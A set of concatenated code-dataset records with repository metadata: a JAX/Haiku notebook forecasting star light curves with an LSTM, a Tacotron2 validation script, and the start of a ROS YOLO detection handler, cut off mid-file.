RollingMean(100, min_periods=5)(x)\n)\n\ndataframe.iloc[:, :2].plot()\n\n# ## Forecasting with Machine Learning\n#\n# We need two forecast in this data, if you look with attention you'll see micro holes and big holes.\n\n\nT = TypeVar(\"T\")\n\n\nclass Pair(NamedTuple):\n    x: T\n    y: T\n\n\nclass TrainSplit(NamedTuple):\n    train: T\n    validation: T\n\n\ngg.theme_set(gg.theme_bw())\nwarnings.filterwarnings(\"ignore\")\n\n\nplt.rcParams[\"figure.figsize\"] = 18, 8\nfig, (ax, lax) = plt.subplots(ncols=2, gridspec_kw={\"width_ratios\": [4, 1]})\ndataframe.plot(ax=ax, title=\"raw data\")\nax.legend(bbox_to_anchor=(0, 0, 1, 1), bbox_transform=lax.transAxes)\nlax.axis(\"off\")\n\n\nplt.rcParams[\"figure.figsize\"] = 18, 8\nfig, (ax, lax) = plt.subplots(ncols=2, gridspec_kw={\"width_ratios\": [4, 1]})\ndataframe_mean.plot(ax=ax, title=\"Smoothed data\")\nax.legend(bbox_to_anchor=(0, 0, 1, 1), bbox_transform=lax.transAxes)\nlax.axis(\"off\")\n# -\n\n# ### Normalize data\n\ndataframe_mean.stack().hist(bins=100, log=True)\n\n\ndef min_max_scaler(values: pd.DataFrame, output_format: str = \"dataframe\") -> Encoder:\n    scaler = MinMaxScaler(feature_range=(0, 1))\n    scaler.fit(values)\n    index = values.index\n    columns = values.columns\n\n    def encode(dataframe: pd.DataFrame):\n        nonlocal index\n        nonlocal columns\n\n        index = dataframe.index\n        columns = dataframe.columns\n        array_normed = scaler.transform(dataframe)\n\n        if output_format == \"dataframe\":\n            return pd.DataFrame(array_normed, index, columns)\n        elif output_format == \"jax\":\n            return jnp.array(array_normed)\n        else:\n            return array_normed\n\n    def decode(array_scaled):\n\n        value = scaler.inverse_transform(array_scaled)\n\n        if output_format == \"dataframe\":\n            return pd.DataFrame(value, index, columns)\n        else:\n            return value\n\n    return Encoder(encode, decode)\n\n\n# -\n\nscaler = min_max_scaler(dataframe_mean)\ndataframe_normed = scaler.encode(dataframe_mean)\nassert (scaler.decode(dataframe_normed) - dataframe_mean).stack().abs().max() < 1.0e-4\n\ndataframe_normed.stack().hist(bins=100)\n\n# ### Prepare train / validation datasets\n\n\ndef split_feature_target(\n    dataframe,\n    look_back=SEQ_LEN,\n    shuffle=True,\n    stack=True,\n    min_periods_ratio: float = 0.8,\n    rng=None,\n) -> Pair:\n    def prepare_xy(data):\n        buffer = Buffer(look_back + 1)(data)\n        x = buffer[:-1]\n        y = buffer[-1]\n        return x, y\n\n    def prepare_xy(data):\n        y = Buffer(look_back)(data)\n        x = Lag(1)(y)\n        return x, y\n\n    x, y = unroll(prepare_xy)(jax.device_put(dataframe.values))\n\n    if shuffle:\n        if rng is None:\n            rng = jax.random.PRNGKey(42)\n\n        B = x.shape[0]\n        idx = jnp.arange(B)\n        idx = jax.random.shuffle(rng, idx)\n\n        x = x[idx]\n        y = y[idx]\n\n    if stack:\n        B, T, F = x.shape\n        x = x.transpose(1, 0, 2).reshape(T, B * F, 1).transpose(1, 0, 2)\n        y = y.transpose(1, 0, 2).reshape(T, B * F, 1).transpose(1, 0, 2)\n\n    if min_periods_ratio:\n        T = x.shape[1]\n        count_nan = jnp.isnan(x).sum(axis=1)\n        mask = count_nan < min_periods_ratio * T\n        idx = jnp.where(mask)\n        x = x[idx[0]]\n        y = y[idx[0]]\n\n    # round Batch size to a power of to\n    B = x.shape[0]\n    B_round = int(2 ** jnp.floor(jnp.log2(B)))\n    print(f\"{B} batches rounded to {B_round} batches.\")\n    x = x[:B_round]\n    y = y[:B_round]\n\n    # fillnan by zeros\n    x, y = hk.testing.transform_and_run(lambda x: FillNanInf()(x))((x, y))\n\n    return Pair(x, y)\n\n\n# +\n# split_feature_target(dataframe)\n# -\n\n\ndef split_train_validation(\n    dataframe, train_size, look_back, scaler: Optional[Callable] = None\n) -> TrainSplit:\n\n    # prepare scaler\n    train_df = dataframe.iloc[:train_size]\n\n    if scaler:\n        scaler = scaler(train_df)\n\n    # prepare train data\n    if scaler:\n        train_df = scaler.encode(train_df)\n\n    train_xy = split_feature_target(train_df, look_back)\n\n    # prepare validation data\n    valid_size = len(dataframe) - train_size\n    valid_size = int(2 ** jnp.floor(jnp.log2(valid_size)))\n\n    valid_end = int(train_size + valid_size)\n    valid_df = dataframe.iloc[train_size:valid_end]\n\n    if scaler:\n        valid_df = scaler.encode(valid_df)\n\n    valid_xy = split_feature_target(valid_df, look_back)\n\n    return TrainSplit(train_xy, valid_xy)\n\n\nTRAIN_SIZE\n\nprint(f\"Look at star: {STAR}\")\ntrain, valid = split_train_validation(dataframe_normed[[STAR]], TRAIN_SIZE, SEQ_LEN)\n\ntrain[0].shape, train[1].shape, valid[0].shape, valid[1].shape\n\n# TRAIN_SIZE, VALID_SIZE = len(train.x), len(valid.x)\nprint(\n    f\"effective train_size = {len(train.x)}, \" f\"effective valid size= {len(valid.x)}\"\n)\n\n\n# Plot an observation/target pair.\nrng = jax.random.PRNGKey(42)\nbatch_plot = jax.random.choice(rng, len(train[0]))\ndf = pd.DataFrame(\n    {\"x\": train.x[batch_plot, :, 0], \"y\": train.y[batch_plot, :, 0]}\n).reset_index()\ndf = pd.melt(df, id_vars=[\"index\"], value_vars=[\"x\", \"y\"])\nplot = (\n    gg.ggplot(df)\n    + gg.aes(x=\"index\", y=\"value\", color=\"variable\")\n    + gg.geom_line()\n    + gg.scales.scale_y_log10()\n)\n_ = plot.draw()\n\n\n# ### Dataset iterator\n\n\nclass Dataset:\n    \"\"\"An iterator over a numpy array, revealing batch_size elements at a time.\"\"\"\n\n    def __init__(self, xy: Pair, batch_size: int):\n        self._x, self._y = xy\n        self._batch_size = batch_size\n        self._length = self._x.shape[0]\n        self._idx = 0\n        if self._length % batch_size != 0:\n            msg = \"dataset size {} must be divisible by batch_size {}.\"\n            raise ValueError(msg.format(self._length, batch_size))\n\n    def __next__(self) -> Pair:\n        start = self._idx\n        end = start + self._batch_size\n        x, y = self._x[start:end], self._y[start:end]\n        if end >= self._length:\n            print(f\"End of the data set (size={end}). Return to the beginning.\")\n            end = end % self._length\n            assert end == 0  # Guaranteed by ctor assertion.\n        self._idx = end\n        return Pair(x, y)\n\n\n# + [markdown] colab_type=\"text\" id=\"LZGw5Jdvjmqh\"\n# ### Training an LSTM\n#\n# To train the LSTM, we define a Haiku function which unrolls the LSTM over the input sequence, generating predictions for all output values. The LSTM always starts with its initial state at the start of the sequence.\n#\n# The Haiku function is then transformed into a pure function through `hk.transform`, and is trained with Adam on an L2 prediction loss.\n\n\n# + colab={} colab_type=\"code\" id=\"nacnTj5ejIK5\"\ndef unroll_net(seqs: jnp.ndarray):\n    \"\"\"Unrolls an LSTM over seqs, mapping each output to a scalar.\"\"\"\n    # seqs is [T, B, F].\n    core = hk.LSTM(32)\n    batch_size = seqs.shape[0]\n    outs, state = hk.dynamic_unroll(\n        core, seqs, core.initial_state(batch_size), time_major=False\n    )\n    # We could include this Linear as part of the recurrent core!\n    # However, it's more efficient on modern accelerators to run the linear once\n    # over the entire sequence than once per sequence element.\n    return hk.BatchApply(hk.Linear(1))(outs), state\n\n\n# + colab={} colab_type=\"code\" id=\"nacnTj5ejIK5\"\nmodel = jit_init_apply(hk.transform(unroll_net))\n\n\n# +\n@jax.jit\ndef loss(pred, y):\n    return jnp.mean(jnp.square(pred - y))\n\n\ndef model_with_loss(x, y):\n    pred, _ = unroll_net(x)\n    return loss(pred, y)\n\n\n# + colab={} colab_type=\"code\" id=\"nacnTj5ejIK5\"\nclass TrainState(NamedTuple):\n    step: int\n    params: Any\n    opt_state: Any\n    rng: jnp.ndarray\n    loss: float\n\n\ndef train_model(\n    model_with_loss: Callable,\n    train_ds: Dataset,\n    valid_ds: Dataset,\n    max_iterations: int = -1,\n    rng=None,\n    record_freq=100,\n) -> hk.Params:\n    \"\"\"Initializes and trains a model on train_ds, returning the final params.\"\"\"\n    opt = optax.adam(1e-3)\n    model_with_loss = jit_init_apply(hk.transform(model_with_loss))\n\n    @jax.jit\n    def update(train_state, x, y):\n        step, params, opt_state, rng, _ = train_state\n        if rng is not None:\n            (rng,) = jax.random.split(rng, 1)\n        l, grads = jax.value_and_grad(model_with_loss.apply)(params, rng, x, y)\n        grads, opt_state = opt.update(grads, opt_state)\n        params = optax.apply_updates(params, grads)\n        return TrainState(step + 1, params, opt_state, rng, l)\n\n    # Initialize state.\n    def init():\n        x, y = next(train_ds)\n        params = model_with_loss.init(rng, x, y)\n        opt_state = opt.init(params)\n        return TrainState(0, params, opt_state, rng, jnp.inf)\n\n    def _format_results(records):\n        records = {key: jnp.stack(l) for key, l in records.items()}\n        return records\n\n    records = defaultdict(list)\n    train_state = init()\n    with tqdm(total=max_iterations if max_iterations > 0 else None) as pbar:\n        while True:\n            try:\n                x, y = next(train_ds)\n            except StopIteration:\n                return train_state, _format_results(records)\n\n            train_state = update(train_state, x, y)\n            if train_state.step % record_freq == 0:\n                x, y = next(valid_ds)\n                if rng is not None:\n                    (rng,) = jax.random.split(rng, 1)\n                valid_loss = model_with_loss.apply(train_state.params, rng, x, y)\n                records[\"step\"].append(train_state.step)\n                records[\"valid_loss\"].append(valid_loss)\n                records[\"train_loss\"].append(train_state.loss)\n\n            pbar.update()\n            if max_iterations > 0 and train_state.step >= max_iterations:\n                return train_state, _format_results(records)\n\n\n# + colab={} colab_type=\"code\" id=\"AssgDctokbl5\"\n# %%time\ntrain, valid = split_train_validation(dataframe_normed[[STAR]], TRAIN_SIZE, SEQ_LEN)\ntrain_ds = Dataset(train, BATCH_SIZE)\nvalid_ds = Dataset(valid, BATCH_SIZE)\n\n\ntrain_state, records = train_model(\n    model_with_loss,\n    train_ds,\n    valid_ds,\n    len(train.x) // BATCH_SIZE * NUM_EPOCHS,\n    rng=jax.random.PRNGKey(42),\n    record_freq=RECORD_FREQ,\n)\n\n# +\n# train_state.params\n# -\n\n# Plot losses\nlosses = pd.DataFrame(records)\ndf = pd.melt(losses, id_vars=[\"step\"], value_vars=[\"train_loss\", \"valid_loss\"])\nplot = (\n    gg.ggplot(df)\n    + gg.aes(x=\"step\", y=\"value\", color=\"variable\")\n    + gg.geom_line()\n    + gg.scales.scale_y_log10()\n)\n_ = plot.draw()\n\n\n# + [markdown] colab_type=\"text\" id=\"yr7jrOL3ki-b\"\n# ### Sampling\n#\n# The point of training models is so that they can make predictions! How can we generate predictions with the trained model?\n#\n# If we're allowed to feed in the ground truth, we can just run the original model's `apply` function.\n\n# + colab={} colab_type=\"code\" id=\"f2qETEqXLT1N\"\ndef plot_samples(truth: np.ndarray, prediction: np.ndarray) -> gg.ggplot:\n    assert truth.shape == prediction.shape\n    df = pd.DataFrame(\n        {\"truth\": truth.squeeze(), \"predicted\": prediction.squeeze()}\n    ).reset_index()\n    df = pd.melt(df, id_vars=[\"index\"], value_vars=[\"truth\", \"predicted\"])\n    plot = (\n        gg.ggplot(df) + gg.aes(x=\"index\", y=\"value\", color=\"variable\") + gg.geom_line()\n    )\n    return plot\n\n\n# + colab={} colab_type=\"code\" id=\"KOuK1egilGD0\"\n# Grab a sample from the validation set.\nsample_x, sample_y = next(valid_ds)\nsample_x = sample_x[:1]  # Shrink to batch-size 1.\nsample_y = sample_y[:1]\n\n# Generate a prediction, feeding in ground truth at each point as input.\npredicted, _ = model.apply(train_state.params, None, sample_x)\n\nplot = plot_samples(sample_y, predicted)\nplot.draw()\ndel sample_x, predicted\n\n\n# -\n\n# ### Run autoregressively\n\n# + [markdown] colab_type=\"text\" id=\"tDyGshz_lwrM\"\n# If we can't feed in the ground truth (because we don't have it), we can also run the model autoregressively.\n\n# + colab={} colab_type=\"code\" id=\"Cg8oQ75Ulvld\"\ndef autoregressive_predict(\n    trained_params: hk.Params,\n    context: jnp.ndarray,\n    seq_len: int,\n    pbar=False,\n):\n    \"\"\"Given a context, autoregressively generate the rest of a sine wave.\"\"\"\n\n    ar_outs = []\n    context = jax.device_put(context)\n    times = onp.arange(seq_len - context.shape[1] + 1)\n    if pbar:\n        times = tqdm(times)\n    for _ in times:\n        full_context = jnp.concatenate([context] + ar_outs, axis=1)\n\n        outs, _ = model.apply(trained_params, None, full_context)\n        # Append the newest prediction to ar_outs.\n        ar_outs.append(outs[:, -1:, :])\n    # Return the final full prediction.\n    return outs\n\n\n# + colab={} colab_type=\"code\" id=\"Cg8oQ75Ulvld\"\nsample_x, sample_y = next(valid_ds)\nsample_x = sample_x[:1]  # Shrink to batch-size 1.\nsample_y = sample_y[:1]  # Shrink to batch-size 1.\n\n\ncontext_length = SEQ_LEN // 8\nprint(f\"context_length = {context_length}\")\n# Cut the batch-size 1 context from the start of the sequence.\ncontext = sample_x[:, :context_length]\n\n# + colab={} colab_type=\"code\" id=\"Cg8oQ75Ulvld\"\n# %%time\n# We can reuse params we got from training for inference - as long as the\n# declaration order is the same.\npredicted = autoregressive_predict(train_state.params, context, SEQ_LEN, pbar=True)\n# -\n\nsample_y.shape, predicted.shape\n\n# + colab={} colab_type=\"code\" id=\"Cg8oQ75Ulvld\"\nplot = plot_samples(sample_y, predicted)\nplot += gg.geom_vline(xintercept=context.shape[1], linetype=\"dashed\")\n_ = plot.draw()\n\n\n# + [markdown] colab_type=\"text\" id=\"qGkr2gf2oALo\"\n# #### Sharing parameters with a different function.\n#\n# Unfortunately, this is a bit slow - we're doing O(N^2) computation for a sequence of length N.\n#\n# It'd be better if we could do the autoregressive sampling all at once - but we need to write a new Haiku function for that.\n#\n# We're in luck - if the Haiku module names match, the same parameters can be used for multiple Haiku functions.\n#\n# This can be achieved through a combination of two techniques:\n#\n# 1. If we manually give a unique name to a module, we can ensure that the parameters are directed to the right places.\n# 2. If modules are instantiated in the same order, they'll have the same names in different functions.\n#\n# Here, we rely on method #2 to create a fast autoregressive prediction.\n\n# + colab_type=\"text\" id=\"qGkr2gf2oALo\"\n@hk.transform\ndef fast_autoregressive_predict_fn(context, seq_len):\n    \"\"\"Given a context, autoregressively generate the rest of a sine wave.\"\"\"\n    core = hk.LSTM(32)\n    dense = hk.Linear(1)\n    state = core.initial_state(context.shape[0])\n    # Unroll over the context using `hk.dynamic_unroll`.\n    # As before, we `hk.BatchApply` the Linear for efficiency.\n    context_outs, state = hk.dynamic_unroll(\n        core,\n        context,\n        state,\n        time_major=False,\n    )\n    context_outs = hk.BatchApply(dense)(context_outs)\n\n    # Now, unroll one step at a time using the running recurrent state.\n    ar_outs = []\n    x = context_outs[:, -1, :]\n    times = range(seq_len - context.shape[1])\n    for _ in times:\n        x, state = core(x, state)\n        x = dense(x)\n        ar_outs.append(x)\n    ar_outs = jnp.stack(ar_outs)\n    ar_outs = ar_outs.transpose(1, 0, 2)\n    return jnp.concatenate([context_outs, ar_outs], axis=1)\n\n\nfast_autoregressive_predict = jax.jit(\n    fast_autoregressive_predict_fn.apply, static_argnums=(3,)\n)\n\n# + colab={} colab_type=\"code\" id=\"WdKcHr6_n_ba\"\n# %%time\n# Reuse the same context from the previous cell.\npredicted = fast_autoregressive_predict(train_state.params, None, context, SEQ_LEN)\n\n\n# + colab={} colab_type=\"code\" id=\"WdKcHr6_n_ba\"\n# The plots should be equivalent!\nplot = plot_samples(sample_y, predicted)\nplot += gg.geom_vline(xintercept=context.shape[1], linetype=\"dashed\")\n_ = plot.draw()\n# -\n\n\n# # Sample trajectories\n\n# + colab={} colab_type=\"code\" id=\"WdKcHr6_n_ba\"\nsample_x, sample_y = next(valid_ds)\nsample_x = sample_x[:1]  # Shrink to batch-size 1.\nsample_y = sample_y[:1]  # Shrink to batch-size 1.\n\n\ncontext_length = SEQ_LEN // 8\nprint(f\"context_length = {context_length}\")\n# Cut the batch-size 1 context from the start of the sequence.\ncontext = sample_x[:, :context_length]\n\n# Reuse the same context from the previous cell.\npredicted = fast_autoregressive_predict(train_state.params, None, context, SEQ_LEN)\n\n# The plots should be equivalent!\nplot = plot_samples(sample_y, predicted)\nplot += gg.geom_vline(xintercept=context.shape[1], linetype=\"dashed\")\n_ = plot.draw()\n# -\n\n\n# ## timeit\n\n# + colab={} colab_type=\"code\" id=\"9S0tkPXGrU3a\"\n# %timeit autoregressive_predict(train_state.params, context, SEQ_LEN)\n# %timeit fast_autoregressive_predict(train_state.params, None, context, SEQ_LEN)\n# -\n# ## Train all stars\n\n\n# ### Training\n\n\ndef split_train_validation_date(dataframe, date, look_back) -> TrainSplit:\n    train_size = len(dataframe.loc[:date])\n    return split_train_validation(dataframe, train_size, look_back)\n\n\n# %%time\ntrain, valid = split_train_validation_date(dataframe_normed, TRAIN_DATE, SEQ_LEN)\nprint(f\"effective train size = {train[0].shape[1]}\")\n\ntrain[0].shape, train[1].shape, valid[0].shape, valid[1].shape\n\ntrain_ds = Dataset(train, BATCH_SIZE)\nvalid_ds = Dataset(valid, BATCH_SIZE)\n# del train, valid  # Don't leak temporaries.\n\n# %%time\ntrain_state, records = train_model(\n    model_with_loss,\n    train_ds,\n    valid_ds,\n    len(train.x) // BATCH_SIZE * 1,\n    jax.random.PRNGKey(42),\n    record_freq=RECORD_FREQ,\n)\n\n# Plot losses\nlosses = pd.DataFrame(records)\ndf = pd.melt(losses, id_vars=[\"step\"], value_vars=[\"train_loss\", \"valid_loss\"])\nplot = (\n    gg.ggplot(df)\n    + gg.aes(x=\"step\", y=\"value\", color=\"variable\")\n    + gg.geom_line()\n    + gg.scales.scale_y_log10()\n)\n_ = plot.draw()\n\n# ### Sampling\n\n# +\n# Grab a sample from the validation set.\nsample_x, sample_y = next(valid_ds)\nsample_x = sample_x[:1]  # Shrink to batch-size 1.\nsample_y = sample_y[:1]  # Shrink to batch-size 1.\n\n\n# Generate a prediction, feeding in ground truth at each point as input.\npredicted, _ = model.apply(train_state.params, None, sample_x)\n\nplot = plot_samples(sample_y, predicted)\n_ = plot.draw()\n# -\n\n# ### Run autoregressively\n\n# +\n# %%time\nsample_x, sample_y = next(valid_ds)\nsample_x = sample_x[:1]  # Shrink to batch-size 1.\nsample_y = sample_y[:1]  # Shrink to batch-size 1.\n\n\ncontext_length = SEQ_LEN // 8\n# Cut the batch-size 1 context from the start of the sequence.\ncontext = sample_x[:, :context_length]\n\n# Reuse the same context from the previous cell.\npredicted = fast_autoregressive_predict(train_state.params, None, context, SEQ_LEN)\n\n# The plots should be equivalent!\nplot = plot_samples(sample_y, predicted)\nplot += gg.geom_vline(xintercept=len(context), linetype=\"dashed\")\n_ = plot.draw()\n", "meta": {"hexsha": "fef2dbdf7939029991a9ebb80a5192eda981285e", "size": 24234, "ext": "py", "lang": "Python", "max_stars_repo_path": "docs/notebooks/05_reconstructing_the_light_curve_of_stars.py", "max_stars_repo_name": "eserie/wax-ml", "max_stars_repo_head_hexsha": "9cf92ff5c41ea681fd3eaaf4560b3380f986ee1e", "max_stars_repo_licenses": ["MIT", "ECL-2.0", "Apache-2.0", "BSD-3-Clause"], "max_stars_count": 42, "max_stars_repo_stars_event_min_datetime": "2021-06-14T16:27:54.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-23T09:51:42.000Z", "max_issues_repo_path": "docs/notebooks/05_reconstructing_the_light_curve_of_stars.py", "max_issues_repo_name": "eserie/wax-ml", "max_issues_repo_head_hexsha": "9cf92ff5c41ea681fd3eaaf4560b3380f986ee1e", "max_issues_repo_licenses": ["MIT", "ECL-2.0", "Apache-2.0", "BSD-3-Clause"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-10-01T12:45:29.000Z", "max_issues_repo_issues_event_max_datetime": "2021-10-03T18:06:39.000Z", "max_forks_repo_path": "docs/notebooks/05_reconstructing_the_light_curve_of_stars.py", "max_forks_repo_name": "eserie/wax-ml", "max_forks_repo_head_hexsha": "9cf92ff5c41ea681fd3eaaf4560b3380f986ee1e", "max_forks_repo_licenses": ["MIT", "ECL-2.0", "Apache-2.0", "BSD-3-Clause"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2021-06-11T12:32:41.000Z", "max_forks_repo_forks_event_max_datetime": "2022-02-17T16:13:15.000Z", "avg_line_length": 29.6621787026, "max_line_length": 268, "alphanum_fraction": 0.6829660807, "include": true, "reason": "import numpy,import jax", "num_tokens": 6517, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.19930799790404563, "lm_q1q2_score": 0.09731878592620251}}
{"text": "import os\nimport time\nimport argparse\nimport math\nfrom numpy import finfo\nimport train\n\nimport torch\nfrom distributed import apply_gradient_allreduce\nimport torch.distributed as dist\nfrom torch.utils.data.distributed import DistributedSampler\nfrom torch.utils.data import DataLoader\n\nfrom model import Tacotron2\nfrom data_utils import TextMelLoader, TextMelCollate\nfrom loss_function import Tacotron2Loss\nfrom logger import Tacotron2Logger\nfrom hparams import create_hparams\nfrom glove import create_glove_dict\n\ndef validate(output_directory, log_directory, checkpoint_path, warm_start, n_gpus, rank, group_name, hparams):\n    if hparams.distributed_run:\n        train.init_distributed(hparams, n_gpus, rank, group_name)\n\n    torch.manual_seed(hparams.seed)\n    torch.cuda.manual_seed(hparams.seed)\n\n    model = train.load_model(hparams)\n    learning_rate = hparams.learning_rate\n    optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate,\n                                 weight_decay=hparams.weight_decay)\n     \n    if hparams.fp16_run:\n        from apex import amp\n        model, optimizer = amp.initialize(\n            model, optimizer, opt_level='O2')\n\n    if hparams.distributed_run:\n        model = apply_gradient_allreduce(model)\n\n    criterion = Tacotron2Loss()\n\n    glove = None\n    if hparams.encoder_conditioning:\n        glove = create_glove_dict()\n    valset = TextMelLoader(hparams.validation_files, hparams,glove)\n    collate_fn = TextMelCollate(hparams.n_frames_per_step)\n    logger = train.prepare_directories_and_logger(\n        output_directory, log_directory, rank)\n\n    if warm_start:\n        model = train.warm_start_model(\n            checkpoint_path, model, hparams.ignore_layers)\n    else:\n        model, optimizer, _learning_rate, iteration = train.load_checkpoint(\n            checkpoint_path, model, optimizer)\n\n    model.train()\n    iteration = 0 # hardcoded irrelevant value\n    train.validate(model, criterion, valset, iteration,\n             hparams.batch_size, n_gpus, collate_fn, logger,\n             hparams.distributed_run, rank)\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-o', '--output_directory', type=str,\n                        help='directory to save checkpoints')\n    parser.add_argument('-l', '--log_directory', type=str,\n                        help='directory to save tensorboard logs')\n    parser.add_argument('-c', '--checkpoint_path', type=str, default=None,\n                        required=True, help='checkpoint path')\n    parser.add_argument('--warm_start', action='store_true',\n                        help='load model weights only, ignore specified layers')\n    parser.add_argument('--n_gpus', type=int, default=1,\n                        required=False, help='number of gpus')\n    parser.add_argument('--rank', type=int, default=0,\n                        required=False, help='rank of current gpu')\n    parser.add_argument('--group_name', type=str, default='group_name',\n                        required=False, help='Distributed group name')\n    parser.add_argument('--hparams', type=str,\n                        required=False, help='comma separated name=value pairs')\n\n    args = parser.parse_args()\n    hparams = create_hparams(args.hparams)\n\n    torch.backends.cudnn.enabled = hparams.cudnn_enabled\n    torch.backends.cudnn.benchmark = hparams.cudnn_benchmark\n\n    print(\"\\n####\\nRun Validation\\n####\\n\")\n    print(\"Checkpoint:\", args.checkpoint_path)\n    print(\"FP16 Run:\", hparams.fp16_run)\n    print(\"Dynamic Loss Scaling:\", hparams.dynamic_loss_scaling)\n    print(\"Distributed Run:\", hparams.distributed_run)\n    print(\"cuDNN Enabled:\", hparams.cudnn_enabled)\n    print(\"cuDNN Benchmark:\", hparams.cudnn_benchmark)\n\n    validate(args.output_directory, args.log_directory, args.checkpoint_path,\n          args.warm_start, args.n_gpus, args.rank, args.group_name, hparams)\n", "meta": {"hexsha": "a38433d66229bb453ff2dddd22760be6945b00eb", "size": 3898, "ext": "py", "lang": "Python", "max_stars_repo_path": "validate.py", "max_stars_repo_name": "billyang98/tacotron2", "max_stars_repo_head_hexsha": "f6fffccf1ea1499b31ba169396ed3d9a3ecf0ad1", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-05-06T06:28:48.000Z", "max_stars_repo_stars_event_max_datetime": "2019-05-26T04:31:47.000Z", "max_issues_repo_path": "validate.py", "max_issues_repo_name": "billyang98/tacotron2", "max_issues_repo_head_hexsha": "f6fffccf1ea1499b31ba169396ed3d9a3ecf0ad1", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "validate.py", "max_forks_repo_name": "billyang98/tacotron2", "max_forks_repo_head_hexsha": "f6fffccf1ea1499b31ba169396ed3d9a3ecf0ad1", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 39.3737373737, "max_line_length": 110, "alphanum_fraction": 0.6959979477, "include": true, "reason": "from numpy", "num_tokens": 844, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213368305399, "lm_q2_score": 0.18713267989575075, "lm_q1q2_score": 0.09721942002412193}}
{"text": "import cv2\nimport os\nimport abc\nimport rospy\nimport numpy as np\nfrom math import exp\nfrom collections import defaultdict\nfrom .candidate import CandidateFinder, Candidate\ntry:\n    from pydarknet import Detector, Image\nexcept ImportError:\n    rospy.logerr(\"Not able to run Darknet YOLO! Its only executable under python3 with yolo34py or yolo34py-gpu installed.\", logger_name=\"vision_yolo\")\ntry:\n    from openvino.inference_engine import IENetwork, IECore\nexcept ImportError:\n    rospy.logerr(\"Not able to run YOLO on the Intel NCS2 TPU! The OpenVINO SDK should be installed if you intend to run YOLO on the TPU\", logger_name=\"vision_yolo\")\ntry:\n    ie = IECore()\nexcept NameError:\n    rospy.logerr(\"Please install/source OpenVino environment to use the NCS2 YOLO Handler.\", logger_name=\"vision_yolo\")\n\n\nclass YoloHandler:\n    \"\"\"\n    Defines an abstract YoloHandler, which runs/manages the YOLO inference.\n\n    Our YOLO is currently able to detect goalpost and ball candidates.\n    \"\"\"\n    def __init__(self, config, model_path):\n        \"\"\"\n        Initialization of the abstract YoloHandler.\n        \"\"\"\n        self._candidates = None\n        self._image = None\n\n        # Load possible class names\n        namepath = os.path.join(model_path, \"obj.names\")\n        with open(namepath, \"r\") as fp:\n            self._class_names = fp.read().splitlines()\n\n        # Set config\n        self.set_config(config)\n\n    def set_config(self, config):\n        \"\"\"\n        Set a new config dict, for parameter adjestments\n\n        :param dict: dict with config values\n        \"\"\"\n        # Set if values should be cached\n        self._caching = config['caching']\n        self._nms_threshold = config['yolo_nms_threshold']\n        self._confidence_threshold = config['yolo_confidence_threshold']\n        self._config = config\n\n    def set_image(self, img):\n        \"\"\"\n        Set a image for yolo. This also resets the caches.\n\n        :param image: current vision image\n        \"\"\"\n        # Set image\n        self._image = img\n        # Reset cached stuff\n        self._candidates = None\n\n    @abc.abstractmethod\n    def predict(self):\n        \"\"\"\n        Implemented version should run the neural metwork on the latest image. (Cached)\n        \"\"\"\n        raise NotImplementedError\n\n    def get_candidates(self, class_name):\n        \"\"\"\n        Runs neural network and returns results for all classes. (Cached)\n\n        :param class_name: The name of the class you want to query\n        \"\"\"\n        assert class_name in self._class_names, f\"Class '{class_name}' is not available for the current yolo model!\"\n        self.predict()\n        return self._candidates[class_name]\n\n    def get_classes(self):\n        return self._class_names\n\n\nclass YoloHandlerDarknet(YoloHandler):\n    \"\"\"\n    Yolo34py library implementation of our yolo model.\n    \"\"\"\n    def __init__(self, config, model_path):\n        \"\"\"\n        Initialization of the YoloHandlerDarknet\n\n        :param config: vision config dict\n        :param model_path: path to the yolo model\n        \"\"\"\n        # Define more paths\n        weightpath = os.path.join(model_path, \"yolo_weights.weights\")\n        configpath = os.path.join(model_path, \"config.cfg\")\n        datapath = os.path.join(\"/tmp/obj.data\")\n        namepath = os.path.join(model_path, \"obj.names\")\n        # Generates a dummy file for the library\n        self._generate_dummy_obj_data_file(namepath)\n\n        self._config = config\n\n        # Setup detector\n        self._net = Detector(bytes(configpath, encoding=\"utf-8\"), bytes(weightpath, encoding=\"utf-8\"), 0.5, bytes(datapath, encoding=\"utf-8\"))\n        super().__init__(config, model_path)\n\n    def _generate_dummy_obj_data_file(self, obj_name_path):\n        \"\"\"\n        Generates a dummy object data file.\n        In which some meta information for the library is stored.\n\n        :param obj_name_path: path to the class name file\n        \"\"\"\n        # Generate file content\n        obj_data = \"classes = 2\\nnames = \" + obj_name_path\n        # Write file\n        with open('/tmp/obj.data', 'w') as f:\n            f.write(obj_data)\n\n    def predict(self):\n        \"\"\"\n        Runs the neural network\n        \"\"\"\n        # Check if cached\n        if self._candidates is None or not self._caching:\n            # Run neural network\n            results = self._net.detect(Image(self._image))\n            # Init lists\n            self._candidates = defaultdict(list)\n            # Go through results\n            for out in results:\n                # Get class id\n                class_id = out[0]\n                # Get confidence\n                confidence = out[1]\n                if confidence > self._confidence_threshold:\n                    # Get candidate position and size\n                    x, y, w, h = out[2]\n                    x = x - int(w // 2)\n                    y = y - int(h // 2)\n                    # Create candidate\n                    c = Candidate(int(x), int(y), int(w), int(h), confidence)\n                    # Append candidate to the right list depending on the class\n                    assert class_id.decode() in self._class_names, \\\n                        f\"Predicted class {class_id.decode()} not in {self._class_names}.\"\n                    self._candidates[class_id.decode()].append(c)\n\nclass YoloHandlerOpenCV(YoloHandler):\n    \"\"\"\n    Opencv library implementation of our yolo model.\n    \"\"\"\n    def __init__(self, config, model_path):\n        \"\"\"\n        Initialization of the YoloHandlerOpenCV\n\n        :param config:\n        :param model_path:\n        \"\"\"\n        # Build paths\n        weightpath = os.path.join(model_path, \"yolo_weights.weights\")\n        configpath = 